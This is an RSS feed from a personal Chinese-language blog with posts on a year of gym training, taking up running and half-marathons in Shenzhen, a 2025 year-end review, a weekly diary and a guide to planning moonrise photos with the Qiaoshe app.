<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Raye&apos;s Journey</title><description>Raye&apos;s Journey — 无人调护，自去经心</description><link>https://rayepeng.net/</link><language>zh_CN</language><item><title>健身一周年不完全经验指南</title><link>https://rayepeng.net/posts/jianshen-first/</link><guid isPermaLink="true">https://rayepeng.net/posts/jianshen-first/</guid><pubDate>Thu, 08 Oct 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;如何开始健身？ 为什么你会想要健身呢？&lt;/h2&gt;
&lt;p&gt;很多事情的开始往往是没有原因的，之所以会有原因，大概率是你事后回顾，编造的一个理由罢了&lt;/p&gt;
&lt;p&gt;不过也无所谓啦， 如下都是一些我自己的经验，练的也一般居然还想教别人健身（bushi&lt;/p&gt;
&lt;p&gt;去年9月份， 我们几个朋友一起吃完饭，刚好bob哥最近一年开始研究健身了， 于是说我们一起去公司健身房练练吧&lt;/p&gt;
&lt;p&gt;没有想太多，于是我们就开始去健身房了，所以结论是：&lt;/p&gt;
&lt;p&gt;当你有了朋友之后，你的胆子就会变大了&lt;/p&gt;
&lt;p&gt;原本不敢做的事情，因为有了人的陪伴，于是就敢去做了&lt;/p&gt;
&lt;p&gt;人还真实一种比较奇怪的动物（所以当你想做什么事情但是又不敢去做的时候，想象有一个朋友陪着你吧）&lt;/p&gt;
&lt;p&gt;怪不得很多游戏的设定里，主角身边都是有一个一直陪伴的小精灵，最近玩《轮回之兽》也是这种感觉&lt;/p&gt;
&lt;p&gt;主角身边一直围绕着一个只有她才能看到的幽灵——薇尔莉特&lt;/p&gt;
&lt;p&gt;（插一嘴，轮回之兽前几关玩起来还是挺上头的，不过后面重复的关卡太多了）&lt;/p&gt;
&lt;p&gt;回到健身房， 我其实对三分化训练、人体各个肌肉名字完全都不了解，器械的使用方式也基本都不会，不过好在bob哥都手把手教了下（感恩bob哥）&lt;/p&gt;
&lt;p&gt;由于第一次练，bob哥选择了带我们先练背，我当时第一次知道原来背部是要专门去训练的，也知道了三分化训练就是指的胸、背、腿三大块肌肉专门花一天时间去训练，刚好三天一个轮回&lt;/p&gt;
&lt;p&gt;新手最开始听到这些概念肯定很懵逼，尤其是要练三天，并且每天都要一个小时。&lt;/p&gt;
&lt;p&gt;因为我曾经自己去健身房随便玩过一些器械，然后第二天就全身酸痛，导致我对健身很畏惧&lt;/p&gt;
&lt;p&gt;然鹅现在的我反倒是想念起这种痛感了（因为经常健身，疼痛的感觉很快就消失了）&lt;/p&gt;
&lt;p&gt;因此对于新手来说，疼痛反倒是最好的信号（但是疼痛并不代表一定会长肌肉，具体原理比较复杂）&lt;/p&gt;
&lt;h2&gt;健身的基本知识&lt;/h2&gt;
&lt;p&gt;如前所述，三分化、四分化训练，就是一天专注练一块肌肉，连续4天再休息1～2天&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;新手因为刚开始健身很容易上瘾，千万不要一周练7天不休息，肌肉是在休息的时候生长的，所以一周练个4～5次就行&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;三分化训练一般是背部、胸、以及腿&lt;/p&gt;
&lt;p&gt;四分化训练会补充肩和腹部&lt;/p&gt;
&lt;p&gt;健身一定要练到1个小时，一般一个动作4～5组下来，加上组间歇时间就是15分钟左右，即1个小时刚好练完4个工作，刺激给到最充分&lt;/p&gt;
&lt;p&gt;千万不要在健身房一直泡着，慢悠悠的搞两个小时，其实没啥用&lt;/p&gt;
&lt;p&gt;新手从低重量开始，从比较轻松，到后面几组的重量刚好做8～12个即可，不要害怕小重量会被人嘲笑， 大家都是各练各的， 反正也互不认识。&lt;/p&gt;
&lt;h2&gt;如何做到坚持健身的？&lt;/h2&gt;
&lt;p&gt;很简单，努力就会有回报，这是健身带给我最大的快乐。&lt;/p&gt;
&lt;p&gt;现在回看训记的记录，当我看到我一年前高位下拉还只能拉37.5kg，现在已经到70kg了， 一年前卧推推40kg还费力，现在60kg可以做组，自重引体向上从一个都做不了，到一口气最多做12个，你就会感谢一直坚持健身的自己&lt;/p&gt;
&lt;h2&gt;如何记录&lt;/h2&gt;
&lt;p&gt;感谢伟大的训记开发者，强烈建议充会员！一次购买即可&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://apps.apple.com/cn/app/%E8%AE%AD%E8%AE%B0-%E8%AE%AD%E7%BB%83%E8%AE%A1%E5%88%92%E4%B8%93%E5%AE%B6/id1464915553&quot;&gt;https://apps.apple.com/cn/app/%E8%AE%AD%E8%AE%B0-%E8%AE%AD%E7%BB%83%E8%AE%A1%E5%88%92%E4%B8%93%E5%AE%B6/id1464915553&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;健身界最强大的app没有之一， 用这个就对了
￼
分享下我的使用经验，我会按照训练计划分为练肩、背、胸、腿这四个部位&lt;/p&gt;
&lt;p&gt;比如练肩，一般就是哑铃推肩、侧平举等，可以新建一个模板，把这些动作全都加进去&lt;/p&gt;
&lt;p&gt;每天的健身第一步，打开今天的训练模板即可，如果某个器械被占用了，那么还可以设置替换动作（当然我都是把训练这个部位的所有动作都加上去了，有哪个就做哪个，没有练的就不记录了）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/20261008191705201.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;1RM是什么&lt;/h3&gt;
&lt;p&gt;RM就是Repeat Maximum的简称啦，即训练次数&lt;/p&gt;
&lt;p&gt;1RM就是一个动作，你最多能做一次，就叫1RM了&lt;/p&gt;
&lt;p&gt;大部分时候，我们都是对一个动作做8～12RM，不同次数对应不同的效果，其实也没有必要纠结这个，像我基本都是做8RM就行了&lt;/p&gt;
&lt;p&gt;为什么1RM很重要呢？ 因为这是衡量你健身进步最强的动力啦！&lt;/p&gt;
&lt;p&gt;比如卧推，当我能用60kg推8吃的时候，计算出来我就可以推72左右1RM（训记就可以帮你追踪你的1RM次数）&lt;/p&gt;
&lt;p&gt;当然新手肯定是不建议直接冲1RM的，就算冲1RM也要有朋友在旁边帮助&lt;/p&gt;
&lt;h2&gt;关于饮食&lt;/h2&gt;
&lt;p&gt;AI已经很强了，多拍照问AI，计算热量、碳水脂肪蛋白质含量，保证2倍蛋白，2倍碳水，0.5倍脂肪即可（当然我是有点控制不住的。。。控吃真的太难了，猪瘾晚期患者&lt;/p&gt;
&lt;h3&gt;要不要吃蛋白粉&lt;/h3&gt;
&lt;p&gt;如果你觉得贵你可以不吃（真的，蛋白粉太贵了&lt;/p&gt;
&lt;p&gt;但实际上我们每日的蛋白补充量是真的不够， 我们可能吃了太多的碳水和脂肪，但是蛋白质真的很难吃够&lt;/p&gt;
&lt;p&gt;正常来说我们都要吃到1~2倍体重的蛋白质含量（g/kg），比如我体重70kg，70g蛋白质，我让AI估算了一下，以一份辣可可小炒黄牛肉举例，至少要吃3碗才够，或者吃11个全蛋（蛋黄也吃）&lt;/p&gt;
&lt;p&gt;这还只是一倍体重，所以可以想象我们日常的饮食里有多缺蛋白质了&lt;/p&gt;
&lt;p&gt;而蛋白粉确实是一种最快速补充蛋白质的方法（而且我挺喜欢喝的，但是我知道有些人可能不喜欢蛋白粉的味道）&lt;/p&gt;
&lt;h2&gt;健身器械都没碰过，好怕出丑啊&lt;/h2&gt;
&lt;p&gt;羞耻心是肯定有的，所以如果有朋友带着，两个人一起出丑就不会害怕了（人真是一种奇怪的动物呢）&lt;/p&gt;
&lt;p&gt;或者挑一个早上去人不太多的时候去就好啦，对着视频多熟悉即可，训记app上很多动作都有视频专门&lt;/p&gt;
&lt;h2&gt;我不想练太大 😓&lt;/h2&gt;
&lt;p&gt;这可能是健身最大的误区了。。想练大有那么简单就好了。。。&lt;/p&gt;
&lt;h2&gt;斜方肌是什么？ 会不会很丑&lt;/h2&gt;
&lt;p&gt;这就是动作的重要性，但其实也没那么复杂，练背的时候多注意沉肩就好了。&lt;/p&gt;
&lt;h2&gt;第一次练完后好疼&lt;/h2&gt;
&lt;p&gt;这就是多分化训练的重要性了，每天刺激不同的部位&lt;/p&gt;
&lt;p&gt;但其实新手（比如我）最开始往往不是背、胸部疼，而是手臂疼，这是很正常的，因为手臂力量是短板，等手臂力量上来了就好了。&lt;/p&gt;
&lt;h2&gt;健身的时候做什么好呢？&lt;/h2&gt;
&lt;p&gt;听歌！建议不要听搞笑的播客，怕你笑岔气&lt;/p&gt;
&lt;h2&gt;如何跟别人轮换器械&lt;/h2&gt;
&lt;p&gt;问一下对方是否做完了， 再强的人也不会一直做一个动作的，除非是某些邪修的人笑死哈哈哈&lt;/p&gt;
&lt;h2&gt;我害怕受伤&lt;/h2&gt;
&lt;p&gt;健身最伟大的发明就是固定器械，基本上用固定器械很难受伤的，大可放心&lt;/p&gt;
</content:encoded></item><item><title>当我在跑步的时候我在想什么</title><link>https://rayepeng.net/posts/justrun/</link><guid isPermaLink="true">https://rayepeng.net/posts/justrun/</guid><pubDate>Fri, 01 May 2026 01:59:23 GMT</pubDate><content:encoded>&lt;p&gt;越来越觉得，身处AI时代，更有必要坚持遵从本心去写作。我特别反感贩卖焦虑的自媒体，创作本就该发自内心，不应该被外界焦虑裹挟，被迫生出“我必须要做点什么”的念头。&lt;/p&gt;
&lt;p&gt;从2025年11月真正开始跑步以来，我收获了太多，也慢慢笃定：自己应该好好记录、好好分享，把这段心路历程留存下来。&lt;/p&gt;
&lt;p&gt;其实我一直都很喜欢跑步。学生时代常见的乒乓球、羽毛球、篮球这类球类运动，我都玩不好，所以只剩下跑步了。但如果你在初中体育课一个人独自绕操场跑步，会被你的同学或者朋友认为是一个很奇怪的事情，再加上我又是一个很在意他人评价的人，于是就不敢一个人大大方方地去跑步&lt;/p&gt;
&lt;p&gt;真正和跑步结缘，并且想坚持跑步的想法，诞生在高中。当时我在实验班，寒暑假需要补课，但早上不用早读。于是我习惯每天七点起床，先去操场跑上一两圈，就这样坚持了整整一个月.&lt;/p&gt;
&lt;p&gt;而真正重新拾起、正式开启跑步训练，是去年11月。因为公司每年都有司庆跑步活动，第一年我不知道有这个活动，知道后却发现名额满了；第二年报了名，又因为其他事情遗憾错过；直到去年，才终于成功参加了。&lt;/p&gt;
&lt;p&gt;当时我和另外两位同事一起报名27公里团队跑，我和我的朋友hh负责跑10公里，另一位女生跑7公里。为了磨合状态，我跟hh约好早起拉练10公里。结果两个人一开始只顾着疯狂提速，配速直接冲到5分50多秒，跑完5公里后，后半程彻底跑崩。&lt;/p&gt;
&lt;p&gt;好不容易熬完10公里回到起点，我们俩都扶着墙，虚脱到说不出话，整个人疲惫到恍惚。也正是从这次拉练开始，我自觉才算真正踏入跑步的行列。&lt;/p&gt;
&lt;p&gt;其实之前我也试过跑步，但10公里对我而言，一直是一道遥不可及的坎。我也曾在跑步机上坚持过每天5公里，足足跑了一个月，但是跑步机实在是太过枯燥，很难投入进去，让我对跑步产生发自内心的喜欢。&lt;/p&gt;
&lt;p&gt;后来尝试过第一次挑战10公里，是舜子哥带着我。那一次跑到七八公里时跑崩了。但这一次的拉练证明我是可以做到跑完10公里的，虽然疲惫，但是让我认识到，原来这件事，我真的可以做到。&lt;/p&gt;
&lt;p&gt;我一直记得陈铭在辩论赛里说过一段话，非常有意思，他说：洞穴是黑暗的，但只要有光打进去，黑暗就不再是它的宿命；沙漠是隔绝的，但只要有人穿越过去，隔绝就不再是它的宿命。&lt;/p&gt;
&lt;p&gt;曾经10公里于我，就是触不可及的目标；可当我真正第一次完成，才发觉到，原来也没那么难，我真的是可以完成的。&lt;/p&gt;
&lt;p&gt;那次司庆跑步，我顺利跑完10公里，最终计时一小时零六分钟。放在当时还算勉强完成，但如今回头看已经很慢了——我的10公里已经能跑进52分钟，这要是放在几个月前，我完全无法想象...&lt;/p&gt;
&lt;p&gt;从去年11月起，我决心开始系统训练，一方面想提升跑步水平、强化心肺，另一方面也是弥补自身短板：我从小心肺能力偏弱，肺活量一直偏低，Apple Watch测出的有氧水平也长期低于平均值，心里一直很介意。&lt;/p&gt;
&lt;p&gt;说不清当时是哪来的一股劲头，就想认真试一试，就这样开启了跑步训练。如今再回头，反倒记不清当初出发的具体心境，甚至说不清最初的初心到底是什么。
或许正因为没有预设的初心，反而少了“不忘初心、方得始终”的束缚。别人要怕走得太远、忘了为什么出发，而我本就不知为何出发，反倒能纯粹享受奔跑本身。&lt;/p&gt;
&lt;p&gt;翻看过往的运动记录，后续我又参加了好几场跑步活动，也慢慢解锁了深圳的跑步路线，才发现自己居住的地方环境非常棒，沿着深圳湾就能一路畅跑。&lt;/p&gt;
&lt;p&gt;解锁这条路线后，我越跑越投入。也就在某个瞬间，心底突然冒出一个念头：我是不是可以试着挑战马拉松？&lt;/p&gt;
&lt;p&gt;我一直有种执念：想要真正融入一项运动、一个圈子，就必须全身心投入进去。
就像当时用微信读书，我觉得只有主动发评论、写见解，和书友交流互动，而不只是单纯用来看书，才算深度参与，才算真正用好这款产品。&lt;/p&gt;
&lt;p&gt;跑步也是同理，我开始想，我能不能挑战下跑者的最高殿堂——马拉松。&lt;/p&gt;
&lt;p&gt;还记得那天我兴奋得彻夜难眠，凌晨四五点就醒了，四点四十九分从家里出门，只想单纯试一试，看自己能不能跑完一场半马。&lt;/p&gt;
&lt;p&gt;没想到真的做到了，21公里的半马，最终用时2小时22分钟。那一刻满心震撼，从来没想过自己能跑完这样长度的距离。&lt;/p&gt;
&lt;p&gt;既然能跑完，那为什么不正式报名参赛呢？
我开始研究马拉松报名规则，才发现并没有自己想象中那么复杂，也没有遥不可及的高门槛。比如第一赛道app，只需完成15公里线上测试就能获得报名资格，于是我在12月报了广州、梅州两场半马。&lt;/p&gt;
&lt;p&gt;广州遗憾没能中签，于是去了梅州半马，这也是我人生第一场线下半马。当时的目标是破2小时，但还是准备不足，最终时间定格在2小时4分钟&lt;/p&gt;
&lt;p&gt;虽然遗憾，但也刷新了自己的最快配速——平均5分55秒跑完半马。放在以前，我日常慢跑也只是6分30、6分40的配速，根本不敢想象能跑出这个节奏。&lt;/p&gt;
&lt;p&gt;跑完这场线下半马，像为我的人生推开了一扇全新的大门，听起来有点俗套，却是我最真实的感受。&lt;/p&gt;
&lt;p&gt;然后就一发不可收拾，报了一堆马拉松比赛，最终顺利报上两场：浙江宁波奉化马拉松、青岛马拉松。&lt;/p&gt;
&lt;p&gt;上半年还参加了深圳某公园的公益马拉松，赛道爬升182米，跑得格外煎熬，但也是我冬训最好的检验。没想到我成功实现半马破2，时间定格在1小时56分钟。&lt;/p&gt;
&lt;p&gt;带着这份底气来到奉化马拉松，我跑出了个人半马最佳成绩：平均配速5分17秒，完赛1小时51分钟，顺利达成大众二级马拉松运动员的目标，原来自己真的可以做到！&lt;/p&gt;
&lt;p&gt;回看这一路成长，配速从最初的6分40、甚至7分开外，到如今能以160左右的心率，稳住5分30秒配速，我已经历许多。&lt;/p&gt;
&lt;p&gt;再想起当初10公里要跑1小时6分钟的自己，真的忍不住感慨：短短几个月，人真的可以完成质的飞跃。&lt;/p&gt;
&lt;p&gt;有氧训练从来不会骗人，坚持练就一定会有进步，一旦停下，状态就会快速回落。&lt;/p&gt;
&lt;p&gt;那么我跑步的时候，我都在想些什么呢？&lt;/p&gt;
&lt;p&gt;最开始在跑步机上慢跑，满脑子只盼着这半小时赶紧结束，盯着计时器一分一秒煎熬，度秒如年。我没办法像别人那样追剧刷视频转移注意力，只能硬熬，非常痛苦。&lt;/p&gt;
&lt;p&gt;但置身户外奔跑时，思绪反倒变得很松弛。&lt;/p&gt;
&lt;p&gt;会胡思乱想，也会留意身边跑步的人，看别人的跑步体态（运动的小姐姐腿都很好看）；会观察别人身上的穿搭logo、运动装备。&lt;/p&gt;
&lt;p&gt;跑在深圳湾的时候，常会看见栏杆上立着的大白鹭，一动不动宛如雕塑，走近才发现是真的大白鹭，非常有意思。看周围路边的草木，有时也会去想吴王钱镠写下“陌上坏开，可缓缓归矣”是一种什么样的情景。跑步的沿途总会有各种各样的细碎美好，足以填满奔跑的时光。&lt;/p&gt;
&lt;p&gt;我记得我刚开始训练不就，有一次脑海中突然冒出一个想法，我已经跑了五公里了，离这次的目标就只剩5公里了，我突然觉得不知足了！我想跑更多，我第一次冒出这种想法的时候都惊呆了。&lt;/p&gt;
&lt;p&gt;原来身体也能给出反馈，能承受的距离越来越长，心底的渴望也越来越多，就像《阿甘正传》里那句简单的台词：Run，Forest，Run，只管义无反顾，向前奔跑就好。&lt;/p&gt;
&lt;p&gt;尤其偏爱夜晚在深圳湾蛇口海边跑步。
沿着海浪边前行，听潮水涨落、浪花拍打礁石，恰好应和那句“海风吹过澎湖湾，白浪逐沙滩”。远处城市灯火辉煌，霓虹光影倒映在海面，海风拂面，那一刻多巴胺与肾上腺素开始上涌，只想一直往前奔跑，贪恋此刻的晚风、海浪与夜色，我有时候觉得，哪怕我就在这一刻死去，也是值得的。&lt;/p&gt;
</content:encoded></item><item><title>我的2025</title><link>https://rayepeng.net/posts/%E6%88%91%E7%9A%842025/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E6%88%91%E7%9A%842025/</guid><pubDate>Wed, 31 Dec 2025 17:48:34 GMT</pubDate><content:encoded>&lt;p&gt;12月居然没有更新一篇文章，看来真的是太忙了。&lt;/p&gt;
&lt;p&gt;12月我做了三次分享——草坪《重读鲁迅》、拜年祭《那不勒斯四部曲》以及部门年会上的分享，月中还有一次给老板的下半年汇报，耗去我不少精力。&lt;/p&gt;
&lt;p&gt;但是不是真的没有时间来写周报和技术文章呢？我扪心自问，工作日晚上回家打一小时三国杀+看一小时书就睡了，写作阅读游戏总是不可兼得了。&lt;/p&gt;
&lt;p&gt;原定的12月31日写一篇年度总结，但因为拖延症的关系又拖到了今天，已经是26年的1月1日了，不管怎么说这两个日子都有特殊的意义。&lt;/p&gt;
&lt;p&gt;前段时间看到和菜头的一篇文章，他说你们的年度总结，本质上就是对12月的总结，因为前几个月发生的事情根本就不记得了，不得不说一语中的了。&lt;/p&gt;
&lt;p&gt;于是我尝试去列了一下每个月所发生的一些重要事情，果真如此，年初的几个月还能记起一些，但是年中的7、8、9月已经是全都忘记了，不得不借助相册和为数不多pyq来回顾。&lt;/p&gt;
&lt;p&gt;那么对于我26年的flag来说，唯一重要的一件事，就是尝试把每天发生的事情+自己的一些感受记录到flomo中，只要把这一件事做好就行了。&lt;/p&gt;
&lt;h2&gt;2025年我做了哪些改变&lt;/h2&gt;
&lt;p&gt;最大的改变就是健身和跑步，但是难以想象的是健身是我从9月底开始的，跑步则是11月开始的。“做一件事，最好是十年前，其次是现在”&lt;/p&gt;
&lt;p&gt;健身和跑步对人的改善真的非常大，我曾经非常容易失眠，但现在基本倒头就睡，工作精力开始重新变得充沛，身体形态的改善也是肉眼可见（尽管还没有腹肌，但相信坚持下去总会有的）&lt;/p&gt;
&lt;p&gt;每次的健身都让我充满了挑战欲，当我高位下拉的时候，最初的35kg还比较吃力,到现在45kg、52kg，你能持续感受到身体在不断的进步。&lt;/p&gt;
&lt;p&gt;肌肉的恢复速度也不断加快，以往健身一次能疼一周，但现在一天后就恢复了，此刻对于痛苦已经不是惧怕，而是渴望。&lt;/p&gt;
&lt;p&gt;跑步则是更让我欣喜的，我也是今年才懂得户外跑相比室内跑步机，对膝盖更好的道理。户外跑是一件非常上瘾的事情，尤其在深圳这么好的条件下，当我早上5点半沿着大沙河一路跑到日出剧场，此时刚好6点半，冬日的太阳逐渐升起，运气好的话还能看到火烧云，那种感觉是无与伦比的，恐怕也只有“悠然见南山”能形容了。&lt;/p&gt;
&lt;p&gt;今年第一次参加了半马，来到梅州，早上7点半的梅州温度在6、7度左右，热身后却感觉不到寒冷，发令枪响起的一刻，跟随者大部队的脚步便开始了。&lt;/p&gt;
&lt;p&gt;果然寒冷的天气，对于肌肉的酸痛有抑制作用，第一公里的配速就来到了5分28秒，心率也直接跳到160吗，让我有点害怕。但后续的也基本维持在5分50秒左右的配速，从来没想到过自己能跑这么快，毕竟以前训练的时候，我都是按照6分20左右的配速来跑。&lt;/p&gt;
&lt;p&gt;我的心肺一直不太行，从小肺活量就很低，跑步也没怎么练上去。21公里最后的几公里已经让我几乎&lt;/p&gt;
</content:encoded></item><item><title>周报42 十公里跑步、鬼灭、敦煌展</title><link>https://rayepeng.net/posts/weekpost42/</link><guid isPermaLink="true">https://rayepeng.net/posts/weekpost42/</guid><pubDate>Thu, 20 Nov 2025 05:36:59 GMT</pubDate><content:encoded>&lt;p&gt;距离上一次的疯狂更新已经过了两周，中间的一个周末也曾想要维持更新频率，但人又开始变得有点懒惰，不过想要停下来写写的心总是在跳动着的，于是就开始写吧。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果你想留住时间，那就看书吧，因为你以为你看了好久，实际上才不过几分钟&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;最近突然有了一个感悟，想要留住时间最快的办法就是阅读，阅读的时候时间流逝似乎非常慢。最近又在沉迷于《海伯利安》这本书，虽然去年曾经读过前两册，但我自认为并没有读懂，于是在微信读书上随便打开一页，刚好看到侦探拉米亚的故事，于是就一直往下看了。&lt;/p&gt;
&lt;p&gt;海伯利安并不是一个硬核的科幻故事，如果喜欢硬核的科幻，我推荐《拯救计划》，但《海伯利安》自有它独特的魅力——它仿佛把一个从欧洲中世纪到现在的故事，放在太空的画卷下徐徐展开 。&lt;/p&gt;
&lt;p&gt;这也就是为什么，当你读到基督教、读到神父的时候，你会有疑惑，怎么科幻的故事里还残留着上个世纪的故事？超光速飞船的时代还会有人信奉基督教吗？星际航行的时代还有活人献祭的仪式吗？正是这看似不寻常的吊诡之处，吸引了我不断地重温。&lt;/p&gt;
&lt;p&gt;等我有机会再写点这本书的读后感吧，不过我其实也不知道写啥，都是一些零零碎碎的想法。&lt;/p&gt;
&lt;h2&gt;跑步&lt;/h2&gt;
&lt;p&gt;和两个公司的朋友（非同事）报名了公司的司庆跑，三人小组，跑步总和27公里即可，我和另一个男生十公里，女生跑7公里。&lt;/p&gt;
&lt;p&gt;我以往都是在公司的跑步机跑，十公里也不是没跑过，对于我来说，前面的3公里时一个小坎，随着逐渐进入状态，心率和呼吸开始加速。紧接着就是五公里，那是我平常跑的最远距离，跑完五公里之后，就只有靠毅力支撑下去了。&lt;/p&gt;
&lt;p&gt;在跑前5公里的过程中，你会因为每跑完1公里就喜笑颜开，然而5公里之后，每增加的一公里，都要克服极大的身体和心理困难。&lt;/p&gt;
&lt;p&gt;和朋友约好提前一天早上先在户外跑10公里熟悉路线，大早上的7点我们就碰面了，然后开始跑。&lt;/p&gt;
&lt;p&gt;不得不说长跑控制配速是非常重要的，在空腹的情况下，两个人前5公里的配速基本都在6分钟以内，导致我们后半程人都虚脱了，最后跑完十公里，感觉人都站不稳了（所以跑步前吃点东西还是有必要的）&lt;/p&gt;
&lt;p&gt;不过这也是我开始逐渐喜欢上户外跑步了，喜欢这种在城市间用脚步丈量空间的感觉，喜欢那在空旷的街道上撒开腿丫子飞奔，仿佛又回到了乡下，回到了自己的童年时候&lt;/p&gt;
&lt;p&gt;哦对，训练跑当天还是我生日，也算是为自己庆生了吧！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/0bca9e68f62e36780649de482c590fc7.jpg&quot; alt=&quot;0bca9e68f62e36780649de482c590fc7&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;鬼灭&lt;/h2&gt;
&lt;p&gt;舜子哥邀请我一起去看鬼灭之刃的路演，虽然我不是纯粹的鬼灭迷，但是也基本追完了系列的动漫，非常喜欢里面的角色。&lt;/p&gt;
&lt;p&gt;电影其实非常棒，制作上似乎也找不出什么瑕疵，蝴蝶忍开场就没了，感觉纯粹是剧情杀。善逸直接单杀上弦六，节奏稍微过快了点。&lt;/p&gt;
&lt;p&gt;最后就是打上弦三猗窝座了，看得我真是，为什么还不死！给我大哥报仇啊！&lt;/p&gt;
&lt;p&gt;不过，上弦三的设定还是非常感人的，不过这个故事情节略显老套，因为大部分人看到开头就能猜到结局，但还是不影响3哥的形象，这种顶天立地的男子汉，誓死守护自己所爱的人。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/image-20251120215908496.png&quot; alt=&quot;image-20251120215908496&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/image-20251120215921463.png&quot; alt=&quot;image-20251120215921463&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/image-20251120215929517.png&quot; alt=&quot;image-20251120215929517&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;敦煌展&lt;/h2&gt;
&lt;p&gt;南山博物馆的大成敦煌展非常值得，第一次是在周六晚上去的，走马观花看了后印象非常深刻，刚好看展群里有人要卖早鸟票的，于是就买了一张又去看了一遍&lt;/p&gt;
&lt;p&gt;拍了一些有意思的照片：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/IMG20251115180847.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/IMG20251115180201.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>巧摄使用与平安金融中心月升</title><link>https://rayepeng.net/posts/qiaoshe-moon/</link><guid isPermaLink="true">https://rayepeng.net/posts/qiaoshe-moon/</guid><pubDate>Wed, 05 Nov 2025 05:48:35 GMT</pubDate><content:encoded>&lt;h2&gt;巧摄&lt;/h2&gt;
&lt;p&gt;今年第一次接触到巧摄这个软件，契机已经忘了，只知道摄影圈的朋友都有用到这个软件，于是下载后付费，巧摄的基础功能是买断制的，只有机位探索与3d模型需要订阅，我直接选择all in&lt;/p&gt;
&lt;p&gt;于是有朋友问了，巧摄究竟能做什么？我这里以最简单的功能来告诉你，巧摄是多么的牛逼无敌&lt;/p&gt;
&lt;h3&gt;悬月悬日计算&lt;/h3&gt;
&lt;p&gt;何谓悬月和悬日呢？即我们选择一个地标建筑物，如深圳的平安金融中心，春笋，这些地标建筑都是鹤立鸡群的，如果太阳或者月亮，刚好和它尖端重叠，此时就称之为悬&lt;/p&gt;
&lt;p&gt;如果我们没有软件的计算，那就只能依赖经验判断，太阳可能还好说，但是月亮的升起和落下是一天一个位置的，这时候巧摄的第一个功能就出现了，它能帮我们计算出太阳或者月亮什么时候与建筑物重叠&lt;/p&gt;
&lt;p&gt;如下是一个巧摄预测的经典截图，在这个截图中，可以看到有几个关键要素：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;目标高度，即平安金融中心的高度，这个是非常关键的，巧摄是通过3D建模来模拟该建筑物的&lt;/li&gt;
&lt;li&gt;月亮位置，你可以制定月亮出现在建筑物的什么位置，巧摄会按照你的要求进行搜索&lt;/li&gt;
&lt;li&gt;高度角、方位角，这是指摄影机位的朝向&lt;/li&gt;
&lt;li&gt;焦距：非常关键，可以看到下图是400mm，巧摄可以模拟出镜头焦距拍摄效果，如果你恰好有400mm镜头，你就可以百分之百地拍摄出如下画面，如果你手头没有这么长的焦距，那可以选择你拥有的焦距，巧摄也可以模拟你相机中取景框拍摄到的效果&lt;/li&gt;
&lt;li&gt;中间就是取景框&lt;/li&gt;
&lt;li&gt;下方则是时间，巧摄可以精确的计算出具体时间&lt;/li&gt;
&lt;li&gt;当然左侧还有一些小图标，如显示更多地形、云层的，一般用的不是很多&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/Screenshot_2025_11_05_16_43_25_13_67defcee5f9754ce81d50c9d495861ba.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/Screenshot_2025_11_05_11_41_57_85_67defcee5f9754ce81d50c9d495861ba.jpg&quot; alt=&quot;Screenshot_2025_11_05_11_41_57_85_67defcee5f9754ce81d50c9d495861ba&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;巧摄使用思路&lt;/h3&gt;
&lt;p&gt;拍摄的时候无非是机位和被摄物体，被摄物体很容易定位，但是机位不太好确定，这时候有几种办法：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;已知机位找日期：经典机位，即已经很明确的，如果你订阅了巧摄的机位探索功能，是可以看到别人共享出来的机位，这时候确定机位后，就可以直接搜索日期，什么时候会出现悬日悬月&lt;/li&gt;
&lt;li&gt;已知日期找机位：如果你想知道今天或者明天，哪里可以拍摄，此时可以通过巧摄的对齐机位功能，巧摄会自动计算出一系列的机位，但这些机位只是理论上可行，需要实地考察&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;巧摄学习&lt;/h3&gt;
&lt;p&gt;建议按照巧摄的官方入门教程学习，耐心一路看过去即可，对于摄影的提升非常有用&lt;/p&gt;
&lt;p&gt;&amp;lt;iframe width=&quot;100%&quot; height=&quot;468&quot; src=&quot;//player.bilibili.com/player.html?bvid=BV1oG41147Rc&amp;amp;p=1&quot; scrolling=&quot;no&quot; border=&quot;0&quot; frameborder=&quot;no&quot; framespacing=&quot;0&quot; allowfullscreen=&quot;true&quot;&amp;gt; &amp;lt;/iframe&amp;gt;&lt;/p&gt;
&lt;h2&gt;11.5 平安金融中心月升&lt;/h2&gt;
&lt;h3&gt;到达机位&lt;/h3&gt;
